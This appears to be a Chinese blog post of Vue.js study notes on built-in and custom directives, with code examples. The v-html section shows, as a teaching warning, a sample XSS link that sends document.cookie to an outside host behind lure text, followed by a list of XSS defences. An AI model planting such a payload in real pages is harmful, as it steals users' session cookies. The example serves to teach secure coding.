vue-day04

81 阅读5分钟

1、v-text指令

v-bind	: 单向绑定解析表达式, 可简写为 :xxx
v-model	: 双向数据绑定
v-for  	: 遍历数组/对象/字符串
v-on   	: 绑定事件监听, 可简写为@
v-if 	 	: 条件渲染(动态控制节点是否存存在)
v-else 	: 条件渲染(动态控制节点是否存存在)
v-show 	: 条件渲染 (动态控制节点是否展示)
v-text指令(不会解析标签):
    1.作用:向其所在的节点中渲染文本内容。
    2.与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。
<body>
    <!-- 准备好一个容器-->
    <div id="root">
        <div>你好,{{name}}</div>
        <!-- div里面的内容将会被完全替代 -->
        <div v-text="name"></div>
        <!-- 不会解析标签 -->
        <div v-text="str"></div>
    </div>
</body>
<script>
    new Vue({
        el:'#root',
        data:{
            name:'北京',
            str:'<h3>你好啊!</h3>'
        }
    })
</script>

2、v-html指令(支持解析结构)

v-html指令:
    1.作用:向指定节点中渲染包含html结构的内容。
    2.与插值语法的区别:
        (1).v-html会替换掉节点中所有的内容,{{xx}}则不会。
        (2).v-html可以识别html结构。
    3.严重注意:v-html有安全性问题!!!!
        (1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
        (2).一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!
补充:cokie
<body>
    <!-- 准备好一个容器-->
    <div id="root">
        <div>你好,{{name}}</div>
        <div v-html="str"></div>
        <div v-html="str2"></div>
    </div>
</body>
<script>
    new Vue({
        el:'#root',
        data:{
            name:'尚硅谷',
            str:'<h3>你好啊!</h3>',
            str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',
        }
    })
</script>
    跨站脚本攻击(XSS)是一种常见的网络安全漏洞,攻击者通过在网页中注入恶意脚本,使得用户在浏览器上
运行这些脚本,从而达到攻击的目的。XSS攻击通常利用网站对用户输入的信任,通过在网页中插入恶意脚本,
来窃取用户信息、会话令牌,甚至控制用户的账户。
解决XSS攻击的方法包括:
    1. 输入验证和过滤:对用户输入的数据进行严格的验证和过滤,确保用户输入的内容不包含恶意脚本。这可
        以通过移除或转义特殊字符来实现,比如`<``>``&`等。
    2. 输出转义:在将用户输入的数据渲染到网页上时,确保对其进行适当的转义,以防止其中包含的HTMLJavaScript等代码被浏览器执行。
    3. 内容安全策略(CSP):使用内容安全策略来限制网页中可以加载的资源和执行的脚本,
        从而减少XSS攻击的可能性。
    4. HttpOnly标记:对于敏感的cookie,可以使用HttpOnly标记来防止JavaScript访问,
        从而减少XSS攻击对cookie的影响。
    5. 安全编程实践:开发人员应该遵循安全的编程实践,比如不信任用户输入、不直接拼接用户输入到HTML中。

3、v-cloak指令

v-cloak指令(没有值):
    1.本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
    2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。
补充:
v-cloak指令是Vue.js框架提供的一个用于防止页面闪烁的指令。当Vue实例初始化时,如果使用了v-cloak指令,
那么指令所在的元素及其子元素会先被隐藏,直到Vue实例完成编译。这样可以避免页面在Vue实例加载之前显示出
未编译的{{}}插值表达式,从而提供更好的用户体验。
<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8" />
        <title>v-cloak指令</title>
        <style>
            /* 属性选择器,选中所有含有v-cloak属性的标签 */
            [v-cloak]{
                display:none;
            }
        </style>
    </head>
    <body>
        <!-- 准备好一个容器-->
        <div id="root">
            <h2 v-cloak>{{name}}</h2>
        </div>
        <script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
    </body>
	
    <script>
        console.log(1)
        new Vue({
            el:'#root',
            data:{
                    name:'北京,北京'
            }
        })
    </script>
</html>

4、v-once指令

v-once指令:
    1.v-once所在节点在初次动态渲染后,就视为静态内容了。
    2.以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。	
<body>
    <!-- 准备好一个容器-->
    <div id="root">
        <h2 v-once>初始化的n值是:{{n}}</h2>
        <h2>当前的n值是:{{n}}</h2>
        <button @click="n++">点我n+1</button>
    </div>
</body>
<script>
    new Vue({
        el:'#root',
        data:{
            n:1
        }
    })
</script>

5、v-pre指令

v-pre指令:
    1.跳过其所在节点的编译过程。
    2.可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。		
<body>
    <!-- 准备好一个容器-->
    <div id="root">
        <h2 v-pre>Vue其实很简单</h2>
        <h2 >当前的n值是:{{n}}</h2>
        <button @click="n++">点我n+1</button>
    </div>
</body>
<script>
    new Vue({
        el:'#root',
        data:{
            n:1
        }
    })
</script>

6、自定义指令

自定义指令总结:
    一、定义语法:
        (1).局部指令:
            new Vue({					new Vue({					
                  directives:{指令名:配置对象}   或   	    directives{指令名:回调函数}
            }) 						})												
        (2).全局指令:
            Vue.directive(指令名,配置对象) 或   Vue.directive(指令名,回调函数)

    二、配置对象中常用的3个回调:
        (1).bind:指令与元素成功绑定时调用。
        (2).inserted:指令所在元素被插入页面时调用。
        (3).update:指令所在模板结构被重新解析时调用。

    三、备注:
        1.指令定义时不加v-,但使用时要加v-;
        2.指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名。

8、总结

<body>
    <!-- 命令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名。-->
    <!-- 准备好一个容器-->
    <div id="root">
        <h2>当前的n值是:<span v-text="n"></span> </h2>
        <h2>放大10倍后的n值是:<span v-big-number="n"></span> </h2>
        <h2>放大10倍后的n值是:<span v-big="n"></span> </h2>
        <button @click="n++">点我n+1</button>
        <hr/>
        <input type="text" v-fbind:value="n">
    </div>
</body>

定义全局指令

<script>
    //定义全局指令
    Vue.directive('fbind',{
        //指令与元素成功绑定时(一上来)
        bind(element,binding){
            element.value = binding.value
        },
        //指令所在元素被插入页面时
        inserted(element,binding){
            element.focus()
        },
        //指令所在的模板被重新解析时
        update(element,binding){
            element.value = binding.value
        }
    }) 
</script>

定义局部指令

<script>
    new Vue({
        el:'#root',
        data:{
            n:1
        },
        directives:{
            // 简写形式,key:value形式
            'big-number'(element,binding){
                element.innerText = binding.value * 10
            }, 
                // 需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。
                //big函数何时会被调用?1.指令与元素成功绑定时(一上来)。2.指令所在的模板被重新解析时。
            big(element,binding){
                console.log('big',this) //注意此处的this是window
                element.innerText = binding.value * 10
            },
// 需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。
            fbind:{
                //指令与元素成功绑定时(一上来)
                bind(element,binding){
                    element.value = binding.value
                },
                //指令所在元素被插入页面时
                inserted(element,binding){
                    element.focus()
                },
                //指令所在的模板被重新解析时
                update(element,binding){
                    element.value = binding.value
                }
            }
        }
    })
</script>